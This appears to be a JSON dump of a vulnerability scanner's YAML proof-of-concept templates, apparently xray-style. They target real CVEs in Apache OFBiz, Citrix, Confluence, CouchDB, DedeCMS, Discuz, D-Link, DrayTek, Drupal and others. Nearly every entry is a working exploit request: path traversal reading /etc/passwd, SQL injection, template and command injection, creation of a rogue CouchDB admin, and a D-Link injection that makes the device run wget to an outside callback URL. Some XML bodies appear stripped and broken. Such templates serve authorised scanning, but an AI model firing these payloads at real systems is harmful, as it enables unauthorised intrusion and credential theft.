response.body.bcontains(b\"\\\"identity\\\":\\\"anonymous\\\",\\\"anonymous\\\":true\")\nexpression: r0()\ndetail:\n author: wulalalaaa(https://github.com/wulalalaaa)\n links:\n - https://nifi.apache.org/docs/nifi-docs/rest-api/index.html\n" }, { "path": "pocs/apache-ofbiz-cve-2018-8033-xxe.yml", "content": "name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /webtools/control/xmlrpc\n headers:\n Content-Type: application/xml\n body: ]>&disclose;\n follow_redirects: false\n expression: response.status == 200 && response.content_type.contains(\"text/xml\") && \"root:[x*]:0:0:\".bmatches(response.body)\nexpression: r0()\ndetail:\n author: su(https://suzzz112113.github.io/#blog)\n links:\n - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py\n" }, { "path": "pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml", "content": "name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization\nmanual: true\ntransport: http\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /webtools/control/xmlrpc\n headers:\n Content-Type: application/xml\n body: {{rand}}dwisiswant0\n follow_redirects: false\n expression: response.status == 200 && response.content_type.contains(\"xml\") && response.body.bcontains(bytes(\"methodResponse\")) && response.body.bcontains(bytes(\"No such service [\" + string(rand)))\nexpression: r0()\ndetail:\n author: su(https://suzzz112113.github.io/#blog)\n links:\n - https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E\n - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb\n" }, { "path": "pocs/apache-storm-unauthorized-access.yml", "content": "name: poc-yaml-apache-storm-unauthorized-access\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /api/v1/cluster/summary\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(b\"{\\\"totalMem\\\":\") && response.body.bcontains(b\"\\\"stormVersion\\\":\")\nexpression: r0()\ndetail:\n author: wulalalaaa(https://github.com/wulalalaaa)\n links:\n - https://storm.apache.org/releases/current/STORM-UI-REST-API.html\n" }, { "path": "pocs/aspcms-backend-leak.yml", "content": "name: poc-yaml-aspcms-backend-leak\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /plug/oem/AspCms_OEMFun.asp\n expression: response.status == 200 && \"\")) && response.body.bcontains(b\"citrix\")\nexpression: r0()\ndetail:\n author: JingLing(https://hackfun.org/)\n links:\n - https://support.citrix.com/article/CTX276688\n - https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/\n - https://dmaasland.github.io/posts/citrix.html\n" }, { "path": "pocs/citrix-cve-2020-8193-unauthorized.yml", "content": "name: poc-yaml-citrix-cve-2020-8193-unauthorized\nmanual: true\ntransport: http\nset:\n user: randomLowercase(8)\n pass: randomLowercase(8)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1\n headers:\n Content-Type: application/xml\n X-NITRO-PASS: '{{pass}}'\n X-NITRO-USER: '{{user}}'\n body: \n follow_redirects: false\n expression: response.status == 406 && \"(?i)SESSID=\\\\w{32}\".bmatches(bytes(response.headers[\"Set-Cookie\"]))\nexpression: r0()\ndetail:\n author: bufsnake(https://github.com/bufsnake)\n links:\n - https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py\n - https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html\n" }, { "path": "pocs/citrix-xenmobile-cve-2020-8209.yml", "content": "name: poc-yaml-citrix-xenmobile-cve-2020-8209\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd\n follow_redirects: false\n expression: response.status == 200 && response.content_type.contains(\"octet-stream\") && \"^root:[x*]:0:0:\".bmatches(response.body)\nexpression: r0()\ndetail:\n author: B1anda0(https://github.com/B1anda0)\n links:\n - https://nvd.nist.gov/vuln/detail/CVE-2020-8209\n" }, { "path": "pocs/coldfusion-cve-2010-2861-lfi.yml", "content": "name: poc-yaml-coldfusion-cve-2010-2861-lfi\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en\n follow_redirects: true\n expression: response.status == 200 && response.body.bcontains(b\"rdspassword=\") && response.body.bcontains(b\"encrypted=\")\nexpression: r0()\ndetail:\n author: sharecast\n links:\n - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861\n version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions\n" }, { "path": "pocs/confluence-cve-2015-8399.yml", "content": "name: poc-yaml-confluence-cve-2015-8399\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /spaces/viewdefaultdecorator.action?decoratorName\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(b\"confluence-init.properties\") && response.body.bcontains(b\"View Default Decorator\")\nexpression: r0()\ndetail:\n author: whynot(https://github.com/notwhy)\n links:\n - https://www.anquanke.com/vul/id/1150798\n" }, { "path": "pocs/confluence-cve-2019-3396-lfi.yml", "content": "name: poc-yaml-confluence-cve-2019-3396-lfi\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /rest/tinymce/1/macro/preview\n headers:\n Content-Type: application/json\n Host: localhost\n Referer: http://localhost\n body: '{\"contentId\":\"786458\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.viddler.com/v/test\",\"width\":\"1000\",\"height\":\"1000\",\"_template\":\"../web.xml\"}}}'\n follow_redirects: true\n expression: response.status == 200 && response.body.bcontains(b\"contextConfigLocation\")\nexpression: r0()\ndetail:\n author: sharecast\n links:\n - https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396\n" }, { "path": "pocs/confluence-cve-2021-26084.yml", "content": "name: poc-yaml-confluence-cve-2021-26084\nmanual: true\ntransport: http\nset:\n r1: randomInt(100000, 999999)\n r2: randomInt(100000, 999999)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /pages/createpage-entervariables.action?SpaceKey=x\n body: |\n queryString=\\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\\u0027\n expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))\nexpression: r0()\ndetail:\n author: Loneyer(https://github.com/Loneyers)\n links:\n - https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html\n" }, { "path": "pocs/confluence-cve-2021-26085-arbitrary-file-read.yml", "content": "name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read\nmanual: true\ntransport: http\nset:\n rand: randomLowercase(6)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /s/{{rand}}/_/;/WEB-INF/web.xml\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(b\"Confluence\") && response.body.bcontains(b\"com.atlassian.confluence.setup.ConfluenceAppConfig\")\nexpression: r0()\ndetail:\n author: wulalalaaa(https://github.com/wulalalaaa)\n links:\n - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html\n" }, { "path": "pocs/consul-rexec-rce.yml", "content": "name: poc-yaml-consul-rexec-rce\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /v1/agent/self\n expression: 'response.status == 200 && response.content_type.contains(\"json\") && response.body.bcontains(b\"\\\"DisableRemoteExec\\\": false\")'\nexpression: r0()\ndetail:\n author: imlonghao(https://imlonghao.com/)\n links:\n - https://www.exploit-db.com/exploits/46073\n" }, { "path": "pocs/consul-service-rce.yml", "content": "name: poc-yaml-consul-service-rce\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /v1/agent/self\n expression: 'response.status == 200 && response.content_type.contains(\"json\") && response.body.bcontains(b\"\\\"EnableScriptChecks\\\": true\") || response.body.bcontains(b\"\\\"EnableRemoteScriptChecks\\\": true\")'\nexpression: r0()\ndetail:\n author: imlonghao(https://imlonghao.com/)\n links:\n - https://www.exploit-db.com/exploits/46074\n" }, { "path": "pocs/coremail-cnvd-2019-16798.yml", "content": "name: poc-yaml-coremail-cnvd-2019-16798\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /mailsms/s?func=ADMIN:appState&dumpConfig=/\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(bytes(\"\"))\nexpression: r0()\ndetail:\n author: cc_ci(https://github.com/cc8ci)\n links:\n - https://www.secpulse.com/archives/107611.html\n" }, { "path": "pocs/couchcms-cve-2018-7662.yml", "content": "name: poc-yaml-couchcms-cve-2018-7662\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /includes/mysql2i/mysql2i.func.php\n follow_redirects: false\n expression: 'response.status == 200 && response.body.bcontains(b\"mysql2i.func.php on line 10\") && response.body.bcontains(b\"Fatal error: Cannot redeclare mysql_affected_rows() in\")'\n r1:\n request:\n cache: true\n method: GET\n path: /addons/phpmailer/phpmailer.php\n follow_redirects: false\n expression: 'response.status == 200 && response.body.bcontains(b\"phpmailer.php on line 10\") && response.body.bcontains(b\"Fatal error: Call to a menber function add_event_listener() on a non-object in\")'\nexpression: r0() && r1()\ndetail:\n author: we1x4n(https://we1x4n.github.io/)\n links:\n - https://github.com/CouchCMS/CouchCMS/issues/46\n" }, { "path": "pocs/couchdb-cve-2017-12635.yml", "content": "name: poc-yaml-couchdb-cve-2017-12635\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(32)\nrules:\n r0:\n request:\n cache: true\n method: PUT\n path: /_users/org.couchdb.user:{{r1}}\n headers:\n Content-Length: \"192\"\n Content-Type: application/json\n body: |-\n {\n \"type\": \"user\",\n \"name\": \"{{r1}}\",\n \"roles\": [\"_admin\"],\n \"roles\": [],\n \"password\": \"fVyuyAECgYEAhgJzkPO1sTV1Dvs5bvls4tyVAsLy2I7wHKWJvJdDUpox2TnCMFT9\"\n }\n follow_redirects: false\n expression: response.status == 201 && response.body.bcontains(bytes(\"org.couchdb.user:\" + r1))\nexpression: r0()\ndetail:\n author: j4ckzh0u(https://github.com/j4ckzh0u)\n links:\n - https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635\n" }, { "path": "pocs/couchdb-unauth.yml", "content": "name: poc-yaml-couchdb-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /_config\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(b\"httpd_design_handlers\") && response.body.bcontains(b\"external_manager\") && response.body.bcontains(b\"replicator_manager\")\nexpression: r0()\ndetail:\n author: FiveAourThe(https://github.com/FiveAourThe)\n links:\n - https://www.seebug.org/vuldb/ssvid-91597\n" }, { "path": "pocs/craftcms-seomatic-cve-2020-9757-rce.yml", "content": "name: poc-yaml-craftcms-seomatic-cve-2020-9757-rce\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: randomInt(40000, 44800)\nrules:\n poc10:\n request:\n cache: true\n method: GET\n path: /actions/seomatic/meta-container/meta-link-container/?uri={{{{r1}}*'{{r2}}'}}\n expression: response.status == 200 && response.body.bcontains(bytes(\"MetaLinkContainer\")) && response.body.bcontains(bytes(\"canonical\")) && response.body.bcontains(bytes(string(r1 * r2)))\n poc20:\n request:\n cache: true\n method: GET\n path: /actions/seomatic/meta-container/all-meta-containers?uri={{{{r1}}*'{{r2}}'}}\n expression: response.status == 200 && response.body.bcontains(bytes(\"MetaLinkContainer\")) && response.body.bcontains(bytes(\"canonical\")) && response.body.bcontains(bytes(string(r1 * r2)))\nexpression: poc10() || poc20()\ndetail:\n author: x1n9Qi8\n links:\n - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-181\n - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757\n" }, { "path": "pocs/dahua-cve-2021-33044-authentication-bypass.yml", "content": "name: poc-yaml-dahua-cve-2021-33044-authentication-bypass\r\nmanual: true\r\ntransport: http\r\nrules:\r\n r0:\r\n request:\r\n cache: true\r\n method: POST\r\n path: /RPC2_Login\r\n body: '{\"id\": 1, \"method\": \"global.login\", \"params\": {\"authorityType\": \"Default\", \"clientType\": \"NetKeyboard\", \"loginType\": \"Direct\", \"password\": \"Not Used\", \"passwordType\": \"Default\", \"userName\": \"admin\"}, \"session\": 0}'\r\n follow_redirects: true\r\n expression: response.status == 200 && response.body.bcontains(b\"{\\\"id\\\":1,\\\"params\\\":{\\\"keepAliveInterval\\\":60},\\\"result\\\":true,\\\"session\\\":\\\"\")\r\nexpression: r0()\r\ndetail:\r\n author: For3stCo1d (https://github.com/For3stCo1d)\r\n description: \"dahua-authentication-bypass\"\r\n links:\r\n - https://seclists.org/fulldisclosure/2021/Oct/13\r\n - https://github.com/dorkerdevil/CVE-2021-33044\r\n" }, { "path": "pocs/datang-ac-default-password-cnvd-2021-04128.yml", "content": "name: poc-yaml-datang-ac-default-password-cnvd-2021-04128\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /login.cgi\n body: user=admin&password1=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81&password=123456&Submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95\n follow_redirects: false\n expression: response.status == 200 && response.headers[\"set-cookie\"].contains(\"ac_userid=admin,ac_passwd=\") && response.body.bcontains(b\"window.open('index.htm?_\")\nexpression: r0()\ndetail:\n author: B1anda0(https://github.com/B1anda0)\n links:\n - https://www.cnvd.org.cn/flaw/show/CNVD-2021-04128\n" }, { "path": "pocs/dedecms-carbuyaction-fileinclude.yml", "content": "name: poc-yaml-dedecms-carbuyaction-fileinclude\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /plus/carbuyaction.php?dopost=return&code=../../\n headers:\n Cookie: code=alipay\n follow_redirects: true\n expression: response.status == 200\n r1:\n request:\n cache: true\n method: GET\n path: /plus/carbuyaction.php?dopost=return&code=../../\n headers:\n Cookie: code=cod\n follow_redirects: true\n expression: response.status == 200 && response.body.bcontains(bytes(\"Cod::respond()\"))\nexpression: r0() && r1()\ndetail:\n author: harris2015(https://github.com/harris2015)\n links:\n - https://www.cnblogs.com/milantgh/p/3615986.html\n Affected Version: DedeCmsV5.x\n" }, { "path": "pocs/dedecms-cve-2018-6910.yml", "content": "name: poc-yaml-dedecms-cve-2018-6910\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /include/downmix.inc.php\n expression: response.status == 200 && response.body.bcontains(bytes(\"Fatal error\")) && response.body.bcontains(bytes(\"downmix.inc.php\")) && response.body.bcontains(bytes(\"Call to undefined function helper()\"))\nexpression: r0()\ndetail:\n author: PickledFish(https://github.com/PickledFish)\n links:\n - https://github.com/kongxin520/DedeCMS/blob/master/DedeCMS_5.7_Bug.md\n" }, { "path": "pocs/dedecms-cve-2018-7700-rce.yml", "content": "name: poc-yaml-dedecms-cve-2018-7700-rce\nmanual: true\ntransport: http\nset:\n r: randomInt(2000000000, 2100000000)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5{{r}};{/dede:field}\n follow_redirects: true\n expression: response.status == 200 && response.body.bcontains(bytes(md5(string(r))))\nexpression: r0()\ndetail:\n author: harris2015(https://github.com/harris2015)\n links:\n - https://xz.aliyun.com/t/2224\n Affected Version: V5.7SP2正式版(2018-01-09)\n" }, { "path": "pocs/dedecms-guestbook-sqli.yml", "content": "name: poc-yaml-dedecms-guestbook-sqli\nmanual: true\ntransport: http\nset:\n r: randomInt(800000000, 1000000000)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /plus/guestbook.php\n follow_redirects: true\n expression: response.status == 200\n output:\n search: '\"action=admin&id=(?P\\\\d{1,20})\".bsubmatch(response.body)'\n articleid: search[\"articleid\"]\n r1:\n request:\n cache: true\n method: GET\n path: /plus/guestbook.php?action=admin&job=editok&id={{articleid}}&msg=',msg=@`'`,msg=(selecT md5({{r}})),email='\n follow_redirects: true\n expression: response.status == 200\n r2:\n request:\n cache: true\n method: GET\n path: /plus/guestbook.php\n follow_redirects: true\n expression: response.status == 200 && response.body.bcontains(bytes(md5(string(r))))\nexpression: r0() && r1() && r2()\ndetail:\n author: harris2015(https://github.com/harris2015)\n links:\n - https://blog.csdn.net/god_7z1/article/details/8180454\n Affected Version: \"5.7\"\n" }, { "path": "pocs/dedecms-membergroup-sqli.yml", "content": "name: poc-yaml-dedecms-membergroup-sqli\nmanual: true\ntransport: http\nset:\n r: randomInt(800000000, 1000000000)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{r}})+--+@`'`\n follow_redirects: true\n expression: response.status == 200 && response.body.bcontains(bytes(md5(string(r))))\nexpression: r0()\ndetail:\n author: harris2015(https://github.com/harris2015)\n links:\n - http://www.dedeyuan.com/xueyuan/wenti/1244.html\n Affected Version: 5.6,5.7\n" }, { "path": "pocs/dedecms-url-redirection.yml", "content": "name: poc-yaml-dedecms-url-redirection\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /plus/download.php?open=1&link=aHR0cHM6Ly93d3cuZHUxeDNyMTIuY29t\n follow_redirects: false\n expression: response.status == 302 && response.headers[\"location\"] == \"https://www.du1x3r12.com\"\nexpression: r0()\ndetail:\n author: cc_ci(https://github.com/cc8ci)\n links:\n - https://blog.csdn.net/ystyaoshengting/article/details/82734888\n Affected Version: V5.7 sp1\n" }, { "path": "pocs/discuz-ml3x-cnvd-2019-22239.yml", "content": "name: poc-yaml-discuz-ml3x-cnvd-2019-22239\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /forum.php\n follow_redirects: false\n expression: response.status == 200\n output:\n search: '\"cookiepre = ''(?P[\\\\w_]+)''\".bsubmatch(response.body)'\n token: search[\"token\"]\n r1:\n request:\n cache: true\n method: GET\n path: /forum.php\n headers:\n Cookie: '{{token}}language=sc''.print(md5({{r1}})).'''\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))\nexpression: r0() && r1()\ndetail:\n author: X.Yang\n links:\n - https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239\n Discuz_version: Discuz!ML 3.x\n" }, { "path": "pocs/discuz-v72-sqli.yml", "content": "name: poc-yaml-discuz-v72-sqli\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5(1234),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23\n follow_redirects: false\n expression: 'response.status == 200 && response.body.bcontains(b\"81dc9bdb52d04dc20036dbd8313ed055\") && response.body.bcontains(b\"Discuz! info: MySQL Query Error\")'\nexpression: r0()\ndetail:\n author: leezp\n links:\n - https://blog.csdn.net/weixin_40709439/article/details/82780606\n Affected Version: discuz <=v7.2\n vuln_url: /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20\n" }, { "path": "pocs/discuz-wechat-plugins-unauth.yml", "content": "name: poc-yaml-discuz-wechat-plugins-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /plugin.php?id=wechat:wechat&ac=wxregister\n follow_redirects: false\n expression: response.status == 302 && \"set-cookie\" in response.headers && response.headers[\"set-cookie\"].contains(\"auth\") && \"location\" in response.headers && response.headers[\"location\"].contains(\"wsq.discuz.com\")\nexpression: r0()\ndetail:\n author: JrD\n links:\n - https://gitee.com/ComsenzDiscuz/DiscuzX/issues/IPRUI\n" }, { "path": "pocs/discuz-wooyun-2010-080723.yml", "content": "name: poc-yaml-discuz-wooyun-2010-080723\nmanual: true\ntransport: http\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /viewthread.php?tid=10\n headers:\n Cookie: GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Bsearcharray%5D=/.*/eui; GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Breplacearray%5D=print_r(md5({{rand}}));\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))\nexpression: r0()\ndetail:\n author: Loneyer\n links:\n - https://github.com/vulhub/vulhub/tree/master/discuz/wooyun-2010-080723\n version: Discuz 7.x/6.x\n" }, { "path": "pocs/dlink-850l-info-leak.yml", "content": "name: poc-yaml-dlink-850l-info-leak\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /hedwig.cgi\n headers:\n Content-Type: text/xml\n Cookie: uid=R8tBjwtFc8\n body: ../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml\n follow_redirects: false\n expression: response.status == 200 && response.content_type.contains(\"xml\") && response.body.bcontains(b\"\") && response.body.bcontains(b\"\") && response.body.bcontains(b\"OK\")\nexpression: r0()\ndetail:\n author: cc_ci(https://github.com/cc8ci)\n links:\n - https://xz.aliyun.com/t/2941\n Affected Version: Dir-850L\n" }, { "path": "pocs/dlink-cve-2019-16920-rce.yml", "content": "name: poc-yaml-dlink-cve-2019-16920-rce\nmanual: true\ntransport: http\nset:\n reverse: newReverse()\n reverseURL: reverse.url\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /apply_sec.cgi\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20{{reverseURL}}\n follow_redirects: true\n expression: response.status == 200 && reverse.wait(5)\nexpression: r0()\ndetail:\n author: JingLing(https://hackfun.org/)\n links:\n - https://www.anquanke.com/post/id/187923\n - https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3\n" }, { "path": "pocs/dlink-cve-2019-17506.yml", "content": "name: poc-yaml-dlink-cve-2019-17506\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /getcfg.php\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a\n follow_redirects: false\n expression: response.status == 200 && response.content_type.contains(\"xml\") && response.body.bcontains(b\"\") && response.body.bcontains(b\"\")\nexpression: r0()\ndetail:\n author: l1nk3r,Huasir(https://github.com/dahua966/)\n links:\n - https://xz.aliyun.com/t/6453\n" }, { "path": "pocs/dlink-cve-2020-25078-account-disclosure.yml", "content": "name: poc-yaml-dlink-cve-2020-25078-account-disclosure\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /config/getuser?index=0\n follow_redirects: false\n expression: response.status == 200 && response.headers[\"Content-Type\"].contains(\"text/plain\") && response.body.bcontains(b\"name=admin\") && response.body.bcontains(b\"pass=\")\nexpression: r0()\ndetail:\n author: kzaopa(https://github.com/kzaopa)\n links:\n - https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg\n" }, { "path": "pocs/dlink-cve-2020-9376-dump-credentials.yml", "content": "name: poc-yaml-dlink-cve-2020-9376-dump-credentials\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /getcfg.php\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1\n expression: response.status == 200 && response.content_type.contains(\"xml\") && response.body.bcontains(b\"Admin\") && response.body.bcontains(b\"\") && response.body.bcontains(b\"\")\nexpression: r0()\ndetail:\n author: x1n9Qi8\n links:\n - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376\n Affected Version: Dlink DIR-610\n" }, { "path": "pocs/dlink-dsl-2888a-rce.yml", "content": "name: poc-yaml-dlink-dsl-2888a-rce\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /page/login/login.html\n follow_redirects: false\n expression: response.status == 200 && response.content_type.contains(\"text/html\") && response.body.bcontains(b\"var ModelName=\\\"DSL-2888A\\\";\")\n r1:\n request:\n cache: true\n method: POST\n path: /\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b\n follow_redirects: false\n expression: response.status == 302 && response.headers[\"location\"] == \"/page/login/login_fail.html\"\n r2:\n request:\n cache: true\n method: GET\n path: /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=id\n follow_redirects: false\n expression: response.status == 200 && response.content_type.contains(\"text/html\") && response.body.bcontains(b\"uid=0(admin) gid=0(admin)\")\nexpression: r0() && r1() && r2()\ndetail:\n author: mvhz81\n links:\n - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/\n info: dlink-dsl-2888a CVE-2020-24579(Insufficient Authentication) + Hidden Functionality (CVE-2020-24581) = RCE\n" }, { "path": "pocs/docker-api-unauthorized-rce.yml", "content": "name: poc-yaml-docker-api-unauthorized-rce\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /info\n follow_redirects: false\n expression: response.status == 200 && response.content_type.contains(\"json\") && response.body.bcontains(b\"KernelVersion\") && response.body.bcontains(b\"RegistryConfig\") && response.body.bcontains(b\"DockerRootDir\")\nexpression: r0()\ndetail:\n author: j4ckzh0u(https://github.com/j4ckzh0u)\n links:\n - https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce\n" }, { "path": "pocs/docker-registry-api-unauth.yml", "content": "name: poc-yaml-docker-registry-api-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /v2/\n follow_redirects: false\n expression: response.status == 200 && \"docker-distribution-api-version\" in response.headers && response.headers[\"docker-distribution-api-version\"].contains(\"registry/2.0\")\n r1:\n request:\n cache: true\n method: GET\n path: /v2/_catalog\n follow_redirects: false\n expression: response.status == 200 && response.content_type.contains(\"application/json\") && response.body.bcontains(b\"repositories\")\nexpression: r0() && r1()\ndetail:\n author: p0wd3r\n links:\n - http://www.polaris-lab.com/index.php/archives/253/\n" }, { "path": "pocs/dotnetcms-sqli.yml", "content": "name: poc-yaml-dotnetcms-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000)\n r2: randomInt(1, 100)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /user/City_ajax.aspx\n follow_redirects: false\n expression: response.status == 200\n r1:\n request:\n cache: true\n method: GET\n path: /user/City_ajax.aspx?CityId={{r2}}'union%20select%20sys.fn_sqlvarbasetostr(HashBytes('MD5','{{r1}}')),2--\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))\nexpression: r0() && r1()\ndetail:\n links:\n - https://www.cnblogs.com/rebeyond/p/4951418.html\n - http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0150742\n Affected Version: v1.0~v2.0\n" }, { "path": "pocs/draytek-cve-2020-8515.yml", "content": "name: poc-yaml-draytek-cve-2020-8515\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /cgi-bin/mainfunction.cgi\n headers:\n Content-Type: text/plain; charset=UTF-8\n body: action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2f/etc/passwd%26id%26pwd&loginUser=a&loginPwd=a\n expression: response.status == 200 && response.body.bcontains(b\"uid\") && response.body.bcontains(b\"gid\") && \"root:[x*]:0:0:\".bmatches(response.body)\nexpression: r0()\ndetail:\n author: Soveless(https://github.com/Soveless)\n links:\n - https://github.com/imjdl/CVE-2020-8515-PoC\n Affected Version: Vigor2960, Vigor300B, Vigor3900 < v1.5.1, VigorSwitch20P2121, VigorSwitch20G1280, VigorSwitch20P1280, VigorSwitch20G2280, VigorSwitch20P2280 <= v2.3.2\n" }, { "path": "pocs/druid-monitor-unauth.yml", "content": "name: poc-yaml-druid-monitor-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /druid/index.html\n expression: response.status == 200 && response.body.bcontains(b\"Druid Stat Index\") && response.body.bcontains(b\"DruidVersion\") && response.body.bcontains(b\"DruidDrivers\")\nexpression: r0()\ndetail:\n author: met7or\n links:\n - https://github.com/alibaba/druid\n" }, { "path": "pocs/drupal-cve-2014-3704-sqli.yml", "content": "name: poc-yaml-drupal-cve-2014-3704-sqli\nmanual: true\ntransport: http\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n r0:\n request:\n method: POST\n path: /?q=node&destination=node\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(select md5({{rand}}))),0)%23]=bob&name[0]=a\n expression: response.status == 500 && response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31)))\nexpression: r0()\ndetail:\n links:\n - 